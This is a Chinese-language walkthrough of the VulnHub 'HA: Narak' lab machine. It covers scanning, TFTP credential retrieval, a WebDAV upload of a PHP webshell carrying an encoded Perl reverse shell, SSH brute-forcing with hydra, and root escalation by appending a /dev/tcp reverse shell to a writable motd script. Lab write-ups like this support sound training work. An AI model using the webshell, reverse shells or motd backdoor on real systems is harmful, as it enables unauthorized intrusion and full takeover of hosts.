[VulnHub靶机渗透] HA: Narak

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nmap漏洞扫描

nikto漏洞扫描

二、渗透测试+信息收集

1、web渗透

2、目录扫描

3、信息收集+TFTP渗透测试

tftp协议

4、反弹shell

三、提权

1、信息收集

2、初步提权

3、二次提权

user.txt

root.txt


前言

学渗透必打百台靶机实操精讲-Narak。涉及UDP突破,TFTP信息泄漏,webdav反弹shell上传。二级提权,第一级通过找到可写bash脚本文件中的brainfuck语句,获得凭据,二级通过motd脚本获得root权限。相比之前的视频,增加了些新知识,值得玩味的攻击链。可以结合靶机实操。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.31.171

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

发现靶机开放了22和80端口,从目前的信息来看。我们肯定是首先从web的80端口下手渗透测试

┌──(root💀kali)-[~]
└─# nmap -sS -A -p- 192.168.31.171 

3、漏洞扫描

nmap漏洞扫描

80端口的web目录,发现/webdav/目录,我们可以尝试访问下

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80 192.168.31.171 

/webdav/目录,是存在登录凭据的,我们需要查找/webdav/目录的账号密码,到时候尝试登录

WebDAV(Web Distributed Authoring and Versioning)是一种用于在远程服务器上进行文件管理和协同工作的协议。对于使用 WebDAV 服务器的用户来说,/webdav/ 可能是服务器上提供的 WebDAV 服务的根目录路径。

nikto漏洞扫描

nikto漏洞扫描,发现靶机的一些版本信息和一些目录,但是这些信息对目前的渗透测试来讲没有什么价值。

┌──(root💀kali)-[~]
└─# nikto -h 192.168.31.171

二、渗透测试+信息收集

1、web渗透

访问web80端口,发现是一个关于印度题材的一个界面,下面有一个介绍,我给大家翻译下

像这里面的用户名要注意下,因为靶场开放了22端口,到时候大概率要利用ssh远程登录,所以对于用户和密码需要多注意下。

目前我们还没有找到关键的突破点,所以我们下一步需要从扫描目录的点着手。

2、目录扫描

扫描发现了/images和/webdav和/server-status目录,访问后,发现就是开始前面访问的/webdav目录有用,其他的没有什么发现。这就很难搞啊,到目前还是没有什么突破,在目录扫描方面,gobuster 对于目录列举,有些后缀,他默认没有扫描,比如:zip,rar,sql,txt,php等,需要我们手动去添加扫描

┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.31.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

  • dir:指定 gobuster 工具要执行的模式,这里是目录扫描模式,即扫描指定 URL 中的目录。
  • -u http://192.168.31.171:指定要扫描的目标 URL,这里是 http://192.168.31.171,即目标网站的地址。
  • -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt:指定字典文件的位置,这里是 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,即作为目录爆破的字典文件。

gobuster进阶

我们利用gobuster手动对一些特定的后缀进行扫描,发现/tips.txt目录下,有线索

┌──(root💀kali)-[~]
└─# gobuster dir -u http://192.168.31.171 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,sql,txt,php

根据作者的提示,我们需要找到creds.txt文件,然后在里面有突破的线索,但是我访问这个目录,发现访问不成功,说明这个文件,在web页面不可以直接访问,可能需要利用某些协议才可以访问到,但是我们最先开始扫描端口,就一个22端口开放了ssh协议,这就很奇怪了!

有没有可能我们扫描端口开放的协议,并没有扫描完全,还有的端口没有发现,这么一想,好像被nmap-p-给欺骗了,因为,它默认不骚了UDP端口的协议,所以我们下一步就可以扫描UDP 的端口协议。

3、信息收集+TFTP渗透测试

扫描UDP端口协议,发现可能存在开放了tftp协议

┌──(root💀kali)-[~]
└─# nmap -sU --top-port 20 192.168.31.171 
  • -sU:指定 nmap 使用 UDP 扫描模式。UDP 扫描用于探测目标主机上开放的 UDP 端口。
  • --top-port 20限制扫描的端口范围为前 20 个最常见的端口。

tftp协议

TFTP(Trivial File Transfer Protocol)是一种简单的文件传输协议,用于在计算机网络中进行文件传输。与 FTP(File Transfer Protocol)相比,TFTP更加简单,功能也相对有限。 TFTP通常用于进行无需用户认证和权限控制的简单文件传输操作。它基于UDP(User Datagram Protocol)协议工作,使用69号端口进行通信。TFTP不需要建立持久的连接,每个文件传输操作都是独立的。

TFTP的设计目标是提供一种轻量级的文件传输解决方案。它通常用于像路由器和网络设备等资源受限的环境中,用于通过网络进行固件更新、配置文件传输等操作。TFTP支持读取(下载)和写入(上传)文件,但它没有目录列表、登录认证、加密等高级功能。

既然如此,那我们试试能不能用tftp协议,从靶机服务器把creds.txt下载下来,直接用tftp后接靶机地址即可连接靶机:

┌──(root💀kali)-[~/桌面]
└─# tftp 192.168.31.171                                                                                                                                                2 ⚙
tftp> get creds.txt
Received 22 bytes in 0.0 seconds
tftp> quit

下载完以后,查看发现creds.txt是个base64加密的文件,解密后得到:yamdoot:Swarg,应该是串账号密码,我们可以尝试ssh远程登录,但是发现登录失败。

后来,我们想到开始的/webdav,也是需要账号密码登录的,后来尝试登录成功了。

┌──(root💀kali)-[~/桌面]
└─# cat creds.txt                                                                                                                                                      2 ⚙
eWFtZG9vdDpTd2FyZw==┌──(root💀kali)-[~/桌面]
└─# echo "eWFtZG9vdDpTd2FyZw==" |base64 -d                                                                                                                             2 ⚙
yamdoot:Swarg 

/webdav登录成功了,但是里面没有什么文件,但是我们可以利用/webdav的客户端管理工具进行上传webshell木马,然后反弹shell

此时kali中有许多工具可以充当webdav的客户端,其中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:

┌──(root💀kali)-[~/桌面]
└─# davtest -url http://192.168.31.171/webdav -auth yamdoot:Swarg

我们可以看到可以利用客户端上传哪些文件,并且对于的哪些权限,我们发现txt、php和html的权限最高。

对于文件执行,只有 txt、php 和 html 类型的文件被成功执行。而其他类型的文件(jhtml、cgi、cfm、asp、aspx、shtml、jsp、pl)均没有成功执行。

所以,我们需要写一个php的webshell进行上传,然后再利用kali进行监听,然后反弹shell

4、反弹shell

webshell木马

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.31.225";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

然后再利用一个客户端,把webshell.php上传,此处使用的webdav客户端是cadaver

┌──(root💀kali)-[~/桌面]
└─# cadaver http://192.168.31.171/webdav                                                                                                                               3 ⚙
Authentication required for webdav on server `192.168.31.171':
Username: yamdoot
Password: 
dav:/webdav/> put webshell.php
Uploading webshell.php to `/webdav/webshell.php':
Progress: [=============================>] 100.0% of 1706 bytes succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
Coll:   DavTestDir_s2zRPsmpVIjC                0  2月 21 23:02
Coll:   DavTestDir_uUl0kpRTt3uybI              0  2月 21 05:16webshell.php                        1706  2月 21 23:08输入用户名和密码(yamdoot:Swarg)

kali先进行监听,然后再点击webshell.php文件,然后发现反弹shell成功了

python3 -c 'import pty; pty.spawn ("/bin/bash")'  //交互式shellexport TERM=xterm  //添加环境变量,使shell更加完整

三、提权

1、信息收集

发现sudo提权和SUID都没有可以提权的地方

www-data@ubuntu:/var/www/webdav$ find / -user root -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
/bin/umount
/bin/mount
/bin/ntfs-3g
/bin/su
/bin/fusermount
/bin/ping
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/vmware-user-suid-wrapper
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/traceroute6.iputils

cat /etc/crontab查看有没有定时任务执行啥的,发现也是没有

www-data@ubuntu:/var/www/webdav$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user  command
17 *  * * *  root    cd / && run-parts --report /etc/cron.hourly
25 6  * * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

终通过查找可写的文件发现了一些端倪:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

发现/mnt/hell.sh里面是一个Brainfuck 编程语言的代码,然后/etc/apache2/users.password里面是我们开始登录/webdav的登录凭据。

cat /mnt/hell.sh
#!/bin/bashecho"Highway to Hell";
--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.
www-data@ubuntu:/var/www/webdav$ cat /etc/apache2/users.password
cat /etc/apache2/users.password
yamdoot:webdav:8ef09831d201bd84acb0ef99a4a98a91

我们对Brainfuck代码进行解密,解密网站如下:解密得到一串应该是密码,chitragupt

Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]icon-default.png?t=N7T8https://www.splitbrain.org/services/ook

2、初步提权

我们上面经过信息收集,发现了一个密码,我们现在可以去收集靶机相关的账号,然后利用hydra九头蛇进行爆破ssh远程登录。

我们在/home家目录下,看到三个用户,然后在/etc/passwd文件下,看到具有/bin/bash权限的用户,也刚好有这几个,很有可能这几个账户中就有和刚才chitragupt密码匹配ssh的用户。

把账号密码分别进行保存,然后再利用hydra九头蛇进行爆破

┌──(root💀kali)-[~]
└─# vim passwd.txt                                                                                                                                                     1 ⚙┌──(root💀kali)-[~]
└─# vim users.txt                                                                                                                                                      1 ⚙┌──(root💀kali)-[~]
└─# cat passwd.txt                                                                                                                                                     1 ⚙
chitragupt┌──(root💀kali)-[~]
└─# cat users.txt                                                                                                                                                      1 ⚙
root
inferno
yamdoot
narak

爆破成功,

[22][ssh] host: 192.168.31.171 login: inferno password: chitragupt

┌──(root💀kali)-[~]
└─# hydra -L users.txt -P passwd.txt 192.168.31.171 ssh                                                                                                                1 ⚙
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-22 00:12:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:4/p:1), ~1 try per task
[DATA] attacking ssh://192.168.31.171:22/
[22][ssh] host: 192.168.31.171   login: inferno   password: chitragupt
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-22 00:12:13

ssh远程登录成功了

┌──(root💀kali)-[~]
└─# ssh inferno@192.168.31.171                                                                                                                                         1 ⚙
inferno@192.168.31.171's password: 
Last login: Wed Feb 21 06:03:50 2024 from 192.168.31.225
inferno@ubuntu:~$ export TERM=xterm   //环境变量,使shell更加完整
inferno@ubuntu:~$ whoami
inferno

3、二次提权

sudo提权和SUID提权以及查看定时进程任务都没有发现可以提权的地方,

user.txt

找到了user的flag

inferno@ubuntu:~$ ls
user.txt
inferno@ubuntu:~$ cat user.txt
Flag: {5f95bf06ce19af69bfa5e53f797ce6e2}

查看哪些具有可写权限的文件:

inferno@ubuntu:~$ find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

重点关注motd相关的文件,我们进入/etc/update-motd.d/,然后查看相关文件的权限:

后来发现00-header,这个脚本的目的是在登录时向用户显示相关的系统信息。

可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell。

把到时候kali监听的反弹shell写入到00-header中,然后我们再利用卡里监听,然后重新ssh登录inferno用户,就可以得到root权限了

inferno@ubuntu:/etc/update-motd.d$ echo "bash -c 'bash -i >& /dev/tcp/192.168.31.225/4444 0>&1'" >> 00-header

root.txt

恭喜我们拿到了root权限,也成功拿到了root用户的flag了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/698486.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JAVA代码审计之XSS漏洞

Part1 漏洞案例demo&#xff1a; 没有java代码审计XSS漏洞拿赏金的案例。 所以将就看看demo吧 漏洞原理&#xff1a;关于XSS漏洞的漏洞原理核心其实没啥好说的&#xff0c;网上一查一大堆 反射性XSS漏洞 <% page language"java" contentType"text/html; c…

跨越千年医学对话:用AI技术解锁中医古籍知识,构建能够精准问答的智能语言模型,成就专业级古籍解读助手(LLAMA)

介绍&#xff1a;首先在 Ziya-LLaMA-13B-V1基线模型的基础上加入中医教材、中医各类网站数据等语料库&#xff0c;训练出一个具有中医知识理解力的预训练语言模型&#xff08;pre-trained model&#xff09;&#xff0c;之后在此基础上通过海量的中医古籍指令对话数据及通用指令…

Vite+Vue3+Ant Design3.2报错: Cannot read properties of null (reading ‘isCE‘)

最近的ViteVue3Ant Design Vue3.2开发的项目莫名其妙的报错&#xff1a; Uncaught (in promise) TypeError: Cannot read properties of null (reading isCE) 一直找不到原因出在哪&#xff0c;害的我费了好多时间调试 &#xff0c;百度上也找了各个解决方法&#xff0c;有说使…

React18源码: schedule任务调度messageChannel

React调度原理(scheduler) 在React运行时中&#xff0c;调度中心&#xff08;位于scheduler包&#xff09;是整个React运行时的中枢&#xff08;其实是心脏&#xff09;&#xff0c;所以理解了scheduler调度&#xff0c;就基本掌握了React的核心React两大循环&#xff1a;从宏…

uniapp实现全局悬浮框

uniapp实现全局悬浮框(按钮,页面,图片自行设置) 可拖动 话不多说直接上干货 1,在components新建组件(省去了每个页面都要引用组件的麻烦) 2,实现代码 <template><view class"call-plate" :style"top: top px;left: left px;" touchmove&quo…

【数据分享】中国首套1公里高分辨率大气湿度指数数据集(6个指标\免费获取)

湿度数据是气象学和许多其他领域中至关重要的数据&#xff0c;可用于气象预测与气候研究。之前我们分享过Excel格式和GIS矢量格式&#xff08;均可查看之前的文章获悉详情&#xff09;的2000-2020年全国各城市逐日、逐月和逐年的湿度数据。 本次我们给大家带来的是中国首套1公…

【无标题】//创建单向循环链表//创建结点//头插//按位置插入//尾删//按位置删除

1.h头文件 #ifndef __1_H_ #define __1_H_ #include <stdio.h> #include <stdlib.h> typedef int datatype; typedef struct loop_list {union{int len;datatype data;};struct loop_list *next; }loop_list,*loop_p; loop_p create_head(); loop_p create_node(…

【嵌入式学习】QT-Day3-Qt基础

1> 思维导图 https://lingjun.life/wiki/EmbeddedNote/20QT 2> 完善登录界面 完善对话框&#xff0c;点击登录对话框&#xff0c;如果账号和密码匹配&#xff0c;则弹出信息对话框&#xff0c;给出提示”登录成功“&#xff0c;提供一个Ok按钮&#xff0c;用户点击Ok后…

子查询

Oracle从入门到总裁:https://blog.csdn.net/weixin_67859959/article/details/135209645 子查询 前面我们学过了利用 group by子句可以实现分组的操作&#xff0c;主要的统计函数有&#xff1a;COUNT()、AVG()、SUM()、MAX()、MIN() 并且介绍了分组统计查询的若干限制以及在…

IP 协议

IP 协议 .IP协议格式四位版本号四位首部长度8位服务类型16位总长度16位标识符,3位标志位,13位片偏移8位生存时间TTL8位协议16位首部校验和32位源地址 32位目的地址IP地址的组成特殊的IP地址 . IP协议格式 四位版本号 用来表示IP协议的版本,现有的IP协议只有两个版本,IPv4,IPv6…

comfyui节点编写示例文件(下)

** 1、先看示例文件的结构 ** ** 2、设置输入参数 ** ** 3、节点指定任务、输出啥 ** ** 4、这个节点干了啥&#xff0c;定义函数、输出结果 ** ** 5、多个节点&#xff0c;就多个类 ** ** 6、设置多个入口 ** ** 7、放置 ** 直接把py文件放到 .\Co…

PostgreSQL教程(四):高级特性

一、简介 在之前的章节里我们已经涉及了使用SQL在PostgreSQL中存储和访问数据的基础知识。现在我们将要讨论SQL中一些更高级的特性&#xff0c;这些特性有助于简化管理和防止数据丢失或损坏。最后&#xff0c;我们还将介绍一些PostgreSQL扩展。 本章有时将引用教程&#xff0…

消息中间件之RocketMQ为什么写文件这么快?

RocketMQ的存储涉及中&#xff0c;很大一部分是基于Kafka的涉及进行优化的。 PageCache 现代操作系统内核被设计为按照Page读取文件&#xff0c;每个Page默认4KB, 因为程序一般符合局部性原理&#xff0c;所以操作系统在读取一段文件内容时&#xff0c;会将该段内容和附件的文…

Nginx网络服务二-----(虚拟机和location)

一、HTTP设置 1.设置虚拟主机 1.1Nginx 基于域名---虚拟主机 include /apps/nginx/conf.d/*.conf; 1.2Nginx 基于端口---虚拟主机 在做了域名的基础上&#xff0c;按照以下步骤继续 1.3Nginx 基于IP---虚拟主机 2.server下的root root路径格式 指定文件的路径 url …

windows下快速安装nginx 并配置开机自启动

1、下载地址&#xff1a;http://nginx.org/en/download.html 2、启动nginx 注意⚠️ 不要直接双击nginx.exe&#xff0c;这样会导致修改配置后重启、停止nginx无效&#xff0c;需要手动关闭任务管理器内的所有nginx进程。 在nginx.exe目录&#xff0c;打开命令行工具&#xf…

【springblade】springblade(bladeX) 数据权限失效原因分析

文章目录 数据权限接口权限 前言&#xff1a;最近博主在按照bladeX官方文档 配置数据权限 结果发现失效了&#xff0c;网上搜了一下没找到合适的答案&#xff0c;本着求人不如求己的精神&#xff0c;自己调试了一下发现了问题所在&#xff0c;也大致看了一下bladeX的权限逻辑。…

unity——shader入门知识点 学习笔记【个人复习向/侵删/有不足之处欢迎斧正】

零、不同图形接口程序对Shader开发的影响&#xff1a; 1.渲染管线(流水线)和图形接口程序的关系&#xff1a;图形接口程序(OpenGL、 DX等)提供了对渲染管线(流水线)的控制和管理功能&#xff0c;它是开发者和硬件打交道的中间层 2. Shader和图形接口程序的关系&#xf…

计算机毕业设计 基于SpringBoot的宠物商城网站系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

Linux理解

VMware安装Linux安装 目录 VMware安装Linux安装 1.1 什么是Linux 1.2 为什么要学Linux 1.3 学完Linux能干什么 2.1 主流操作系统 2.2 Linux系统版本 VMware安装Linux安装 1.1 什么是Linux Linux是一套免费使用和自由传播的操作系统。 1.2 为什么要学Linux 1). 企业用人…

【Git】:初识git

初识git 一.创建git仓库二.管理文件三.认识.git内部结构 一.创建git仓库 1.安装git 使用yum install git -y即可安装git。 2.创建仓库 首先创建一个git目录。 3.初始化仓库 这里面有很多内容&#xff0c;后面会将&#xff0c;主要是用来进行追踪的。 4.配置name和email 当然也…